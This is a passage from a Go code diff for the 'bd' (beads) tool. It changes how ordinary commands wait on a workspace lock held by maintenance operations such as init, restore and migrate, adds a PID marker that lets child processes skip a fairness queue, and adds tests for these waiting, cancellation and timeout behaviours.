"projlate", "--quiet", "--non-interactive") + if err != nil { + return fmt.Errorf("late init during client workloads: %s: %w", out, err) + } + t.Logf("late init during client workloads: %s", time.Since(start)) + if out, err := ssExec(egCtx, bdBinary, dir, baseEnv, "list", "--json", "--flat"); err != nil { + return fmt.Errorf("list in late project: %s: %w", out, err) + } + return nil + }) for c := range numClients { c := c eg.Go(func() error { diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index 8a12e3ee9..ce3081d01 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads/internal/migration" "github.com/steveyegge/beads/internal/testutil" "github.com/steveyegge/beads/internal/testutil/credentialcmd" + "github.com/steveyegge/beads/internal/workspacegate" ) // beforeTestsHook is set by CGO-tagged test files to perform setup before tests run @@ -81,6 +82,9 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { + // A bd parent (say, a git hook or `bd` driving `go test`) must not make + // this binary's bd subprocesses skip the workspace gate's writer queue. + _ = os.Unsetenv(workspacegate.InheritedHoldEnv) origWD, _ := os.Getwd() // Computed once and reused below for the pin, the ceiling-var boundary, // and the guard's own watch setup, so all three agree on exactly which diff --git a/cmd/bd/workspace_gate.go b/cmd/bd/workspace_gate.go index 60b06eadb..e4ed66b22 100644 --- a/cmd/bd/workspace_gate.go +++ b/cmd/bd/workspace_gate.go @@ -6,7 +6,9 @@ import ( "fmt" "os" "path/filepath" + "strconv" "strings" + "testing" "time" "github.com/spf13/cobra" @@ -36,10 +38,14 @@ import ( // beside a cross-user shared root lands here and proceeds ungated even // though that user may be mid-maintenance (workspacegate documents // cross-user shared roots as unsupported). -// - ErrBusy on SHARED means an exclusive maintenance operation is live on -// this workspace: abort with an actionable error naming the holder -// (the gate's busy detail carries pid/reason/host from the advisory -// sidecar). Proceeding would race a migration/restore mid-replace. +// - SHARED contention means an exclusive maintenance operation is live +// (or queued, see workspacegate's writer fairness) on this workspace: +// wait for it up to sharedGateWait() (BEADS_GATE_WAIT_TIMEOUT, default +// 30s; git hooks stay fail-fast), honoring Ctrl-C. ErrBusy past the +// bound aborts with an actionable error naming the holder (the gate's +// busy detail carries pid/reason/host from the advisory sidecar) and +// the knob. Proceeding would race a migration/restore mid-replace, and +// so would treating an interrupted wait as fail-open. // - EXCLUSIVE failures of any kind are hard errors: maintenance refuses // rather than pretends. // @@ -57,12 +63,74 @@ import ( // path, fail-open posture, or no workspace on disk). var workspaceGateHandle *workspacegate.MultiHandle +// inheritedHoldEnvSaved remembers workspacegate.InheritedHoldEnv as it was +// before this process advertised its own shared hold, so release restores +// it (an in-process test harness, or a child of a still-holding bd parent, +// must not lose or keep a stale marker). Valid when inheritedHoldEnvSet. +var ( + inheritedHoldEnvSaved string + inheritedHoldEnvHad bool + inheritedHoldEnvSet bool +) + +// advertiseSharedHold exports this process's PID in +// workspacegate.InheritedHoldEnv while it holds its command gates SHARED, so +// bd processes it spawns (`bd orphans` -> `bd close`, git hooks fired by a +// git command bd runs) skip the writer-fairness queue: a queued exclusive +// acquirer cannot get in until this process releases, and this process may +// be waiting on the child, so queueing the child would deadlock until its +// wait bound expired. +func advertiseSharedHold() { + if !advertiseSharedHoldEnabled { + return + } + own := strconv.Itoa(os.Getpid()) + cur, had := os.LookupEnv(workspacegate.InheritedHoldEnv) + // Save the pre-advertise value unless we are already advertising (a + // re-acquire without release). Keying on the live value rather than on + // inheritedHoldEnvSet alone keeps a missed withdraw from pinning a stale + // saved value forever. + if !inheritedHoldEnvSet || !had || cur != own { + inheritedHoldEnvSaved, inheritedHoldEnvHad = cur, had + } + inheritedHoldEnvSet = true + _ = os.Setenv(workspacegate.InheritedHoldEnv, own) +} + +// envWithoutSharedHoldMarker is os.Environ() minus +// workspacegate.InheritedHoldEnv, for user-facing children that are not bd +// (the $EDITOR `bd edit` opens can outlive this process by hours, e.g. a new +// IDE window). A bd run from such a descendant then queues normally instead +// of trusting a PID that may since have been recycled. bd's own children +// keep the marker. +func envWithoutSharedHoldMarker() []string { + return filterEnv(os.Environ(), workspacegate.InheritedHoldEnv) +} + +// advertiseSharedHoldEnabled is off inside test binaries: there in-process +// command tests run beside tests that spawn bd subprocesses, and a marker +// naming the (live) test process would let those children skip the queue +// and weaken their fairness assertions. Tests of the marker itself turn it +// on. +var advertiseSharedHoldEnabled = !testing.Testing() + +// withdrawSharedHold undoes advertiseSharedHold (no-op if never advertised). +func withdrawSharedHold() { + if !inheritedHoldEnvSet { + return + } + if inheritedHoldEnvHad { + _ = os.Setenv(workspacegate.InheritedHoldEnv, inheritedHoldEnvSaved) + } else { + _ = os.Unsetenv(workspacegate.InheritedHoldEnv) + } + inheritedHoldEnvSet = false +} + // exclusiveGateWait is how long EXCLUSIVE acquisitions poll before giving // up: long enough to ride out a short-lived `bd list` finishing, short // enough that a genuinely busy workspace fails with a clear message rather -// than hanging. SHARED acquisitions stay non-blocking (a live exclusive -// holder is a migration/restore — waiting seconds will not outlast it, and -// normal commands should fail fast with the holder's name). A var, not a +// than hanging. SHARED acquisitions use sharedGateWait instead. A var, not a // const, so tests can shorten it. var exclusiveGateWait = 5 * time.Second @@ -99,21 +167,26 @@ const initGateTimeoutEnv = "BEADS_INIT_GATE_TIMEOUT" // dolt data dir, so init in project A contends with init (or any gated // command) in project B. A single init holds the gate for ~8s, so the // generic 5s budget made two concurrent `bd init --shared-server` runs in -// different projects refuse each other. 30s rides out a few back-to-back -// inits while still failing with a clear error on a genuinely stuck holder. +// different projects refuse each other. Under load a single init holds the +// gate for 10-15s and each queued init waits for every one ahead of it, so +// 60s rides out a few back-to-back inits while still failing with a clear +// error on a genuinely stuck holder. (Waiting this long is only acceptable +// because a waiting init no longer holds ordinary commands back for its +// whole budget: workspacegate caps how long it queues them, maxIntentHold.) // The other exclusive callers (backup restore, bootstrap, migrate) keep // exclusiveGateWait: they are rare, deliberate maintenance operations rather // than routine setup that tooling fans out across many projects at once. -const initGateWaitDefault = 30 * time.Second +const initGateWaitDefault = 60 * time.Second -// initGateNoticeDelay is how long init waits silently before telling the -// user it is blocked: a sub-2s wait is not worth a line of output. A var so -// tests can observe contention without sleeping. -var initGateNoticeDelay = 2 * time.Second +// gateWaitNoticeDelay is how long a gate wait (bd init, or an ordinary +// command waiting out a maintenance operation) stays silent before telling +// the user it is blocked: a sub-2s wait is not worth a line of output. A var +// so tests can observe contention without sleeping. +var gateWaitNoticeDelay = 2 * time.Second -// initGateOnWait prints init's single "still waiting" notice. A var so -// tests can observe it. -var initGateOnWait = func(holder string) { +// gateWaitOnWait prints the single "still waiting" notice. A var so tests +// can observe it. +var gateWaitOnWait = func(holder string) { if quietFlag { return } @@ -126,21 +199,101 @@ var initGateOnWait = func(holder string) { fmt.Fprintf(os.Stderr, "waiting for another bd process on %s (%q)...\n", where, holder) //nolint:gosec // G705: stderr, not a browser context; %q additionally neutralizes terminal escapes } -// initGateWait resolves init's gate budget from initGateTimeoutEnv, falling -// back to initGateWaitDefault (with a warning) on unset, malformed, or -// non-positive values. -func initGateWait() time.Duration { - raw := strings.TrimSpace(os.Getenv(initGateTimeoutEnv)) +// delayedGateNotice returns an Options.OnWait that arms gateWaitOnWait to +// fire once after gateWaitNoticeDelay, plus a stop func the caller must run +// once acquisition returns. AcquireAll calls OnWait at most once, +// synchronously, before it returns, so the timer is set (if at all) by the +// time stop runs. +func delayedGateNotice() (onWait func(string), stop func()) { + var notice *time.Timer + onWait = func(holder string) { + notice = time.AfterFunc(gateWaitNoticeDelay, func() { gateWaitOnWait(holder) }) + } + stop = func() { + if notice != nil { + notice.Stop() + } + } + return onWait, stop +} + +// parseGateTimeoutEnv reads a BEADS_*_TIMEOUT-style knob: a Go duration +// ("90s", "2m") or bare whole seconds ("90"). ok is false when unset or +// malformed (malformed values warn once). +func parseGateTimeoutEnv(name string, fallback time.Duration) (d time.Duration, ok bool) { + raw := strings.TrimSpace(os.Getenv(name)) if raw == "" { - return initGateWaitDefault + return 0, false } d, err := time.ParseDuration(raw) if err != nil { d, err = time.ParseDuration(raw + "s") } - if err != nil || d <= 0 { + if err != nil { if !quietFlag { - fmt.Fprintf(os.Stderr, "warning: %s=%q is not a positive duration; using default %s\n", initGateTimeoutEnv, raw, initGateWaitDefault) + fmt.Fprintf(os.Stderr, "warning: %s=%q is not a duration; using default %s\n", name, raw, fallback) + } + return 0, false + } + return d, true +} + +// sharedGateWaitEnv overrides sharedGateWaitDefault for ordinary (SHARED) +// commands, same syntax as BEADS_INIT_GATE_TIMEOUT; 0 restores the old +// fail-fast behavior. +const sharedGateWaitEnv = "BEADS_GATE_WAIT_TIMEOUT" + +// sharedGateWaitDefault is how long an ordinary command waits for an +// exclusive maintenance holder (bd init ~8s, backup restore, migrate, +// bootstrap) — or for a queued one, see workspacegate's writer fairness — +// before failing. In shared-server mode every project shares one physical +// root gate, so another project's `bd init` briefly excludes every bd +// command on the machine; failing those instantly made routine tooling +// flaky. Queued maintenance operations run one after another (two inits +// fanned out across projects hold the gate back to back, 10-15s each under +// load), and a waiting command waits for all of them, so the default matches +// init's own patience rather than a single init: 30s. Humans see the notice +// after 2s and can Ctrl-C; agents and CI, the callers that suffered most +// from fail-fast, just get their command run. A genuinely long restore or +// migration still fails with a clear error naming the holder and the knob. +const sharedGateWaitDefault = 30 * time.Second + +// sharedGateWait resolves an ordinary command's gate budget. +// +// Git hooks stay fail-fast (0): the hook paths (`bd hooks run`, and the +// `bd export` / `bd import` children the pre-commit and post-merge/checkout +// hooks spawn) all run with BD_GIT_HOOK=1, treat a failure as a warning, +// and must never stall the user's `git commit` / `git checkout` for 30s +// behind a maintenance operation. A fail-fast acquisition also skips the +// writer-fairness queue, so the hook behavior is exactly what it was. +func sharedGateWait() time.Duration { + if os.Getenv("BD_GIT_HOOK") == "1" { + return 0 + } + d, ok := parseGateTimeoutEnv(sharedGateWaitEnv, sharedGateWaitDefault) + if !ok { + return sharedGateWaitDefault + } + if d < 0 { + if !quietFlag { + fmt.Fprintf(os.Stderr, "warning: %s=%s is negative; using default %s\n", sharedGateWaitEnv, d, sharedGateWaitDefault) + } + return sharedGateWaitDefault + } + return d +} + +// initGateWait resolves init's gate budget from initGateTimeoutEnv, falling +// back to initGateWaitDefault (with a warning) on unset, malformed, or +// non-positive values. +func initGateWait() time.Duration { + d, ok := parseGateTimeoutEnv(initGateTimeoutEnv, initGateWaitDefault) + if !ok { + return initGateWaitDefault + } + if d <= 0 { + if !quietFlag { + fmt.Fprintf(os.Stderr, "warning: %s=%s is not a positive duration; using default %s\n", initGateTimeoutEnv, d, initGateWaitDefault) } return initGateWaitDefault } @@ -183,6 +336,7 @@ func releaseWorkspaceGates() { _ = workspaceGateHandle.Release() // Best effort: the flock dies with the process anyway workspaceGateHandle = nil } + withdrawSharedHold() } // commandNeedsExclusiveGate classifies the store-opening commands that @@ -256,24 +410,58 @@ func acquireCommandWorkspaceGates(ctx context.Context, cmd *cobra.Command, beads } mode := workspacegate.Shared - opts := workspacegate.Options{} + var opts workspacegate.Options + var sharedWait time.Duration + stopNotice := func() {} if exclusive { mode = workspacegate.Exclusive opts = exclusiveGateOptions("bd backup restore") + } else { + // Ordinary commands wait (bounded, Ctrl-C aware) for a live or + // queued exclusive maintenance holder instead of failing at once. + sharedWait = sharedGateWait() + opts = workspacegate.Options{ + Wait: sharedWait, + IgnoreQueuedExclusive: workspacegate.InheritedSharedHold(), + } + if sharedWait > 0 { + opts.OnWait, stopNotice = delayedGateNotice() + } } h, err := workspacegate.AcquireAll(ctx, mode, opts, gates...) + stopNotice() if err != nil { + // Interrupted while waiting (Ctrl-C / SIGTERM cancels rootCtx): + // abort. This must precede the SHARED fail-open branch below, or a + // canceled wait would "continue ungated" over the maintenance + // operation it was waiting out. + if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) { + return HandleErrorRespectJSON("interrupted while waiting for the workspace gate: %v", err) + } if errors.Is(err, workspacegate.ErrBusy) { // Contention is never fail-open, in either mode — but the two // modes are blocked by OPPOSITE kinds of holders, so the // message must not claim "a maintenance operation" for both: // a SHARED attempt is blocked only by an exclusive maintenance - // holder, while an EXCLUSIVE attempt (backup restore) is - // usually blocked by ordinary shared commands. + // holder (or one queued for exclusive access), while an + // EXCLUSIVE attempt (backup restore) is usually blocked by + // ordinary shared commands. if exclusive { return HandleErrorRespectJSON("other bd commands are using this workspace; wait for them to finish and retry: %v", err) } - return HandleErrorRespectJSON("a maintenance operation is running on this workspace; retry when it completes: %v", err) + // A shared acquisition fails only when the gate itself is held + // exclusively (queued maintenance can delay it, never fail it — + // workspacegate's final attempt ignores the queue), so "running" + // is accurate. In shared-server mode the holder may be another + // project's operation; the error detail names it when known. + where := "this workspace" + if doltserver.IsSharedServerMode() { + where = "the shared server (possibly from another project)" + } + if sharedWait > 0 { + return HandleErrorRespectJSON("a maintenance operation is running on %s; retry when it completes (waited %s; set %s to wait longer): %v", where, sharedWait, sharedGateWaitEnv, err) + } + return HandleErrorRespectJSON("a maintenance operation is running on %s; retry when it completes: %v", where, err) } if exclusive { return HandleErrorRespectJSON("workspace gate: %v", err) @@ -284,6 +472,9 @@ func acquireCommandWorkspaceGates(ctx context.Context, cmd *cobra.Command, beads return nil } workspaceGateHandle = h + if !exclusive { + advertiseSharedHold() + } return nil } @@ -366,24 +557,18 @@ func acquireExclusiveWorkspaceGatesWithOptions(ctx context.Context, beadsDir str // // Contention waits up to initGateWait() (not the generic exclusiveGateWait), // honoring ctx cancellation, and prints one notice if the wait outlasts -// initGateNoticeDelay. Exclusivity is unchanged; past the bound init fails +// gateWaitNoticeDelay. Exclusivity is unchanged; past the bound init fails // with the same refusal, naming the budget and the knob that raises it. func acquireInitMutationGate(ctx context.Context, beadsDir, physicalRoot string, preflight func() error) (*workspacegate.MultiHandle, error) { wait := initGateWait() - var notice *time.Timer + onWait, stopNotice := delayedGateNotice() opts := workspacegate.Options{ Wait: wait, Reason: "bd init", - // AcquireAll calls OnWait at most once, synchronously, before it - // returns, so notice is set (if at all) by the time Stop runs. - OnWait: func(holder string) { - notice = time.AfterFunc(initGateNoticeDelay, func() { initGateOnWait(holder) }) - }, + OnWait: onWait, } h, err := acquireExclusiveWorkspaceGatesWithOptions(ctx, beadsDir, opts, physicalRoot) - if notice != nil { - notice.Stop() - } + stopNotice() if err != nil { if errors.Is(err, workspacegate.ErrBusy) { return nil, fmt.Errorf("bd init refuses to run over live bd activity on this workspace (waited %s; set %s to wait longer): %w", wait, initGateTimeoutEnv, err) diff --git a/cmd/bd/workspace_gate_test.go b/cmd/bd/workspace_gate_test.go index 1dcb46dcd..ab85176fe 100644 --- a/cmd/bd/workspace_gate_test.go +++ b/cmd/bd/workspace_gate_test.go @@ -5,7 +5,9 @@ import ( "errors" "os" "path/filepath" + "strconv" "strings" + "sync" "sync/atomic" "testing" "time" @@ -19,6 +21,10 @@ import ( // central config) cannot change which gates these tests acquire. func resetGateTestEnv(t *testing.T) { t.Helper() + // Start from no held gates: an earlier in-process command test in the + // same binary can leave workspaceGateHandle set (and its shared hold + // advertised), which these tests assert on. + releaseWorkspaceGates() for _, k := range []string{ "BEADS_DOLT_SERVER_MODE", "BEADS_DOLT_SHARED_SERVER", @@ -27,6 +33,9 @@ func resetGateTestEnv(t *testing.T) { "BEADS_PROXIED_SERVER_ROOT_PATH", "BEADS_SHARED_SERVER_DIR", initGateTimeoutEnv, + sharedGateWaitEnv, + "BD_GIT_HOOK", + workspacegate.InheritedHoldEnv, } { t.Setenv(k, "") } @@ -93,11 +102,10 @@ func TestAcquireCommandWorkspaceGatesAbsentWorkspace(t *testing.T) { } } -func TestAcquireCommandWorkspaceGatesBlockedByExclusiveHolder(t *testing.T) { - resetGateTestEnv(t) - t.Cleanup(releaseWorkspaceGates) - beadsDir := newGateTestWorkspace(t) - +// holdWorkspaceGateExclusive takes beadsDir's workspace gate exclusively, +// as a maintenance operation (init/restore/migrate) would. +func holdWorkspaceGateExclusive(t *testing.T, beadsDir string) *workspacegate.Handle { + t.Helper() gate, err := workspacegate.ForWorkspace(beadsDir) if err != nil { t.Fatal(err) @@ -107,32 +115,327 @@ func TestAcquireCommandWorkspaceGatesBlockedByExclusiveHolder(t *testing.T) { if err != nil { t.Fatal(err) } - defer func() { _ = holder.Release() }() + t.Cleanup(func() { _ = holder.Release() }) + return holder +} + +// countGateNotices replaces the gate-wait notice with a counter. +func countGateNotices(t *testing.T) *atomic.Int32 { + t.Helper() + var n atomic.Int32 + old := gateWaitOnWait + gateWaitOnWait = func(string) { n.Add(1) } + t.Cleanup(func() { gateWaitOnWait = old }) + return &n +} + +// Past the bound, an ordinary command aborts with an error naming the +// holder, the budget, and the knob — and never proceeds ungated. +func TestAcquireCommandWorkspaceGatesBlockedByExclusiveHolder(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + t.Setenv(sharedGateWaitEnv, "300ms") + holdWorkspaceGateExclusive(t, beadsDir) list := &cobra.Command{Use: "list"} - if err := acquireCommandWorkspaceGates(context.Background(), list, beadsDir); err == nil { + var err error + start := time.Now() + stderr := captureStderr(t, func() { + err = acquireCommandWorkspaceGates(context.Background(), list, beadsDir) + }) + if err == nil { t.Fatal("SHARED acquisition under a foreign exclusive holder must abort, got nil error") } + if waited := time.Since(start); waited < 250*time.Millisecond || waited > 3*time.Second { + t.Errorf("gave up after %s, want about the 300ms bound", waited) + } + for _, want := range []string{"a maintenance operation is running", "waited 300ms", sharedGateWaitEnv, "test maintenance"} { + if !strings.Contains(stderr, want) { + t.Errorf("stderr %q missing %q", stderr, want) + } + } if workspaceGateHandle != nil { t.Error("failed acquisition must leave no gate handle") } } +// The core behavior: an ordinary command that lands while a maintenance +// operation holds the gate waits for it (with one notice) and then runs. +func TestAcquireCommandWorkspaceGatesWaitsForExclusiveHolder(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + notices := countGateNotices(t) + if got := sharedGateWait(); got != sharedGateWaitDefault { + t.Fatalf("sharedGateWait() = %s, want default %s", got, sharedGateWaitDefault) + } + + oldDelay := gateWaitNoticeDelay + gateWaitNoticeDelay = 200 * time.Millisecond + t.Cleanup(func() { gateWaitNoticeDelay = oldDelay }) + + holder := holdWorkspaceGateExclusive(t, beadsDir) + holdFor := time.Second + released := time.AfterFunc(holdFor, func() { _ = holder.Release() }) + t.Cleanup(func() { released.Stop() }) + + list := &cobra.Command{Use: "list"} + start := time.Now() + if err := acquireCommandWorkspaceGates(context.Background(), list, beadsDir); err != nil { + t.Fatalf("ordinary command with a maintenance holder released after %s: %v", holdFor, err) + } + if waited := time.Since(start); waited < holdFor-500*time.Millisecond { + t.Fatalf("acquired after %s while the holder held the gate for %s", waited, holdFor) + } + if workspaceGateHandle == nil { + t.Fatal("expected a held gate handle") + } + if got := notices.Load(); got != 1 { + t.Fatalf("wait notices = %d, want exactly 1", got) + } +} + +// BEADS_GATE_WAIT_TIMEOUT=0 and git-hook context both keep the old +// fail-fast behavior. +func TestAcquireCommandWorkspaceGatesFailFastModes(t *testing.T) { + for _, tc := range []struct{ name, env, val string }{ + {"timeout zero", sharedGateWaitEnv, "0"}, + {"git hook", "BD_GIT_HOOK", "1"}, + } { + t.Run(tc.name, func(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + t.Setenv(tc.env, tc.val) + holdWorkspaceGateExclusive(t, beadsDir) + + list := &cobra.Command{Use: "list"} + var err error + start := time.Now() + stderr := captureStderr(t, func() { + err = acquireCommandWorkspaceGates(context.Background(), list, beadsDir) + }) + if err == nil { + t.Fatal("fail-fast SHARED acquisition under an exclusive holder succeeded") + } + if waited := time.Since(start); waited > time.Second { + t.Errorf("fail-fast acquisition took %s", waited) + } + if strings.Contains(stderr, "waited") { + t.Errorf("fail-fast error claims a wait: %q", stderr) + } + }) + } +} + +// Ctrl-C (rootCtx cancellation) aborts the wait with an error. It must not +// fall through to the fail-open "continue ungated" path. +func TestAcquireCommandWorkspaceGatesHonorsCancellation(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + holdWorkspaceGateExclusive(t, beadsDir) + + ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) + defer cancel() + list := &cobra.Command{Use: "list"} + var err error + start := time.Now() + stderr := captureStderr(t, func() { + err = acquireCommandWorkspaceGates(ctx, list, beadsDir) + }) + if err == nil { + t.Fatal("canceled wait returned nil (proceeded ungated over a maintenance holder)") + } + if waited := time.Since(start); waited > 5*time.Second { + t.Fatalf("canceled wait kept going for %s", waited) + } + if !strings.Contains(stderr, "interrupted while waiting") || strings.Contains(stderr, "continuing ungated") { + t.Errorf("stderr = %q, want an interrupted error and no fail-open warning", stderr) + } + if workspaceGateHandle != nil { + t.Error("canceled acquisition must leave no gate handle") + } +} + +// Writer fairness end to end at the chokepoint: while bd init is queued for +// the gate, a new ordinary command waits behind it rather than slipping in — +// and an ordinary command spawned by a bd process that already holds the +// gate shared (InheritedHoldEnv) does slip in, since it cannot deadlock the +// queue it would otherwise join. +func TestAcquireCommandWorkspaceGatesQueuesBehindWaitingInit(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + physicalRoot := filepath.Join(filepath.Dir(beadsDir), "dolt-data") + // Record every notice immediately. Installed before the init goroutine + // starts: its notice timer reads these globals. + var ( + noticeMu sync.Mutex + notices []string + ) + oldDelay, oldOnWait := gateWaitNoticeDelay, gateWaitOnWait + gateWaitNoticeDelay = 0 + gateWaitOnWait = func(h string) { noticeMu.Lock(); notices = append(notices, h); noticeMu.Unlock() } + t.Cleanup(func() { gateWaitNoticeDelay, gateWaitOnWait = oldDelay, oldOnWait }) + queuedNotice := func() bool { + noticeMu.Lock() + defer noticeMu.Unlock() + for _, h := range notices { + if strings.Contains(h, "queued for exclusive access") && strings.Contains(h, "bd init") { + return true + } + } + return false + } + + // An in-flight ordinary command holds the gate shared. + inflight, err := workspacegate.ForWorkspace(beadsDir) + if err != nil { + t.Fatal(err) + } + sh, err := inflight.Acquire(context.Background(), workspacegate.Shared, workspacegate.Options{}) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = sh.Release() }) + + // bd init queues behind it. + initDone := make(chan error, 1) + var initHandle atomic.Pointer[workspacegate.MultiHandle] + go func() { + h, err := acquireInitMutationGate(context.Background(), beadsDir, physicalRoot, nil) + initHandle.Store(h) + initDone <- err + }() + t.Cleanup(func() { + if h := initHandle.Load(); h != nil { + _ = h.Release() + } + }) + queued := inflight.ExclusiveQueued + deadline := time.Now().Add(5 * time.Second) + for !queued() && time.Now().Before(deadline) { + time.Sleep(10 * time.Millisecond) + } + if !queued() { + t.Fatal("bd init never queued for the gate") + } + + // A new ordinary command must not jump the queue: it defers for its + // budget (the notice names the queued init), then its final attempt + // gets in anyway because nothing holds the gate exclusively — queued + // maintenance delays ordinary commands, it never fails them. + t.Setenv(sharedGateWaitEnv, "300ms") + list := &cobra.Command{Use: "list"} + start := time.Now() + if err := acquireCommandWorkspaceGates(context.Background(), list, beadsDir); err != nil { + t.Fatalf("ordinary command behind a queued (not running) init failed: %v", err) + } + if waited := time.Since(start); waited < 250*time.Millisecond { + t.Errorf("ordinary command jumped ahead of a queued bd init (acquired after %s)", waited) + } + deadlineN := time.Now().Add(time.Second) + for !queuedNotice() && time.Now().Before(deadlineN) { + time.Sleep(5 * time.Millisecond) + } + if !queuedNotice() { + noticeMu.Lock() + t.Errorf("no wait notice named the queued bd init; notices: %q", notices) + noticeMu.Unlock() + } + releaseWorkspaceGates() + + // ...unless its parent bd already holds the gate shared. + t.Setenv(workspacegate.InheritedHoldEnv, strconv.Itoa(os.Getppid())) + start = time.Now() + if err := acquireCommandWorkspaceGates(context.Background(), list, beadsDir); err != nil { + t.Fatalf("child of a shared holder queued behind init: %v", err) + } + if waited := time.Since(start); waited > 200*time.Millisecond { + t.Errorf("child of a shared holder still deferred to the queue for %s", waited) + } + releaseWorkspaceGates() + + // The in-flight command finishes; init gets the gate. + _ = sh.Release() + select { + case err := <-initDone: + if err != nil { + t.Fatalf("bd init after the in-flight command drained: %v", err) + } + case <-time.After(10 * time.Second): + t.Fatal("bd init did not get the gate after the in-flight command released") + } +} + +// A successful shared hold advertises this PID to child processes, and +// release restores whatever value was inherited. +func TestSharedHoldAdvertisedToChildren(t *testing.T) { + resetGateTestEnv(t) + advertiseSharedHoldEnabled = true + t.Cleanup(func() { advertiseSharedHoldEnabled = false }) + t.Cleanup(releaseWorkspaceGates) + beadsDir := newGateTestWorkspace(t) + t.Setenv(workspacegate.InheritedHoldEnv, "inherited") + + list := &cobra.Command{Use: "list"} + if err := acquireCommandWorkspaceGates(context.Background(), list, beadsDir); err != nil { + t.Fatal(err) + } + if got, want := os.Getenv(workspacegate.InheritedHoldEnv), strconv.Itoa(os.Getpid()); got != want { + t.Fatalf("%s while holding = %q, want %q", workspacegate.InheritedHoldEnv, got, want) + } + releaseWorkspaceGates() + if got := os.Getenv(workspacegate.InheritedHoldEnv); got != "inherited" { + t.Fatalf("%s after release = %q, want the inherited value restored", workspacegate.InheritedHoldEnv, got) + } +} + +func TestSharedGateWaitEnv(t *testing.T) { + for _, tc := range []struct { + raw, hook string + want time.Duration + }{ + {"", "", sharedGateWaitDefault}, + {"45", "", 45 * time.Second}, + {"2m", "", 2 * time.Minute}, + {"0", "", 0}, + {"0s", "", 0}, + {"-5s", "", sharedGateWaitDefault}, + {"soon", "", sharedGateWaitDefault}, + {"2m", "1", 0}, + {"", "1", 0}, + } { + t.Run(tc.raw+"/hook="+tc.hook, func(t *testing.T) { + t.Setenv(sharedGateWaitEnv, tc.raw) + t.Setenv("BD_GIT_HOOK", tc.hook) + oldQuiet := quietFlag + quietFlag = true + t.Cleanup(func() { quietFlag = oldQuiet }) + if got := sharedGateWait(); got != tc.want { + t.Fatalf("sharedGateWait() = %s, want %s", got, tc.want) + } + }) + } +} + func TestAcquireInitMutationGateKeepsReplacementExclusiveDuringPreflight(t *testing.T) { resetGateTestEnv(t) beadsDir := newGateTestWorkspace(t) physicalRoot := filepath.Join(filepath.Dir(beadsDir), "dolt-data") - oldOnWait, oldDelay := initGateOnWait, initGateNoticeDelay + oldOnWait, oldDelay := gateWaitOnWait, gateWaitNoticeDelay secondWaited := make(chan struct{}, 1) - initGateNoticeDelay = 0 - initGateOnWait = func(string) { + gateWaitNoticeDelay = 0 + gateWaitOnWait = func(string) { select { case secondWaited <- struct{}{}: default: } } - t.Cleanup(func() { initGateOnWait, initGateNoticeDelay = oldOnWait, oldDelay }) + t.Cleanup(func() { gateWaitOnWait, gateWaitNoticeDelay = oldOnWait, oldDelay }) firstPreflightEntered := make(chan struct{}) allowFirstPreflight := make(chan struct{}) @@ -198,16 +501,6 @@ func holdInitGatesFor(t *testing.T, beadsDir, physicalRoot string) *workspacegat return h } -// countInitGateNotices replaces the init wait notice with a counter. -func countInitGateNotices(t *testing.T) *atomic.Int32 { - t.Helper() - var n atomic.Int32 - old := initGateOnWait - initGateOnWait = func(string) { n.Add(1) } - t.Cleanup(func() { initGateOnWait = old }) - return &n -} - // A holder that outlasts the generic 5s exclusive budget but releases within // init's bound (a concurrent init takes ~8s on a shared server): init waits, // prints exactly one notice, then proceeds. @@ -215,7 +508,7 @@ func TestAcquireInitMutationGateWaitsPastGenericBudget(t *testing.T) { resetGateTestEnv(t) beadsDir := newGateTestWorkspace(t) physicalRoot := filepath.Join(filepath.Dir(beadsDir), "dolt-data") - notices := countInitGateNotices(t) + notices := countGateNotices(t) if got := initGateWait(); got != initGateWaitDefault || got <= exclusiveGateWait+time.Second { t.Fatalf("initGateWait() = %s, want default %s comfortably above exclusiveGateWait %s", got, initGateWaitDefault, exclusiveGateWait) @@ -246,10 +539,10 @@ func TestAcquireInitMutationGateFailsClearlyPastBound(t *testing.T) { resetGateTestEnv(t) beadsDir := newGateTestWorkspace(t) physicalRoot := filepath.Join(filepath.Dir(beadsDir), "dolt-data") - notices := countInitGateNotices(t) - oldDelay := initGateNoticeDelay - initGateNoticeDelay = 5 * time.Second // longer than the bound below - t.Cleanup(func() { initGateNoticeDelay = oldDelay }) + notices := countGateNotices(t) + oldDelay := gateWaitNoticeDelay + gateWaitNoticeDelay = 5 * time.Second // longer than the bound below + t.Cleanup(func() { gateWaitNoticeDelay = oldDelay }) t.Setenv(initGateTimeoutEnv, "300ms") holder := holdInitGatesFor(t, beadsDir, physicalRoot) @@ -288,7 +581,7 @@ func TestAcquireInitMutationGateHonorsCancellation(t *testing.T) { resetGateTestEnv(t) beadsDir := newGateTestWorkspace(t) physicalRoot := filepath.Join(filepath.Dir(beadsDir), "dolt-data") - countInitGateNotices(t) + countGateNotices(t) holder := holdInitGatesFor(t, beadsDir, physicalRoot) t.Cleanup(func() { _ = holder.Release() }) @@ -433,3 +726,83 @@ func TestChokepointSharedExcludesMigrateExclusive(t *testing.T) { } release() } + +// Hooks must never stall the user's git command behind a maintenance +// operation: the bd subprocesses a hook spawns get BD_GIT_HOOK=1 from +// hookSubprocessEnv, and that alone makes their gate acquisition fail fast, +// whatever BEADS_GATE_WAIT_TIMEOUT says. +func TestHookSubprocessEnvKeepsGateFailFast(t *testing.T) { + resetGateTestEnv(t) + t.Cleanup(releaseWorkspaceGates) + t.Setenv(sharedGateWaitEnv, "2m") + var hookVal string + for _, kv := range hookSubprocessEnv([]string{"PATH=/bin"}) { + if v, ok := strings.CutPrefix(kv, 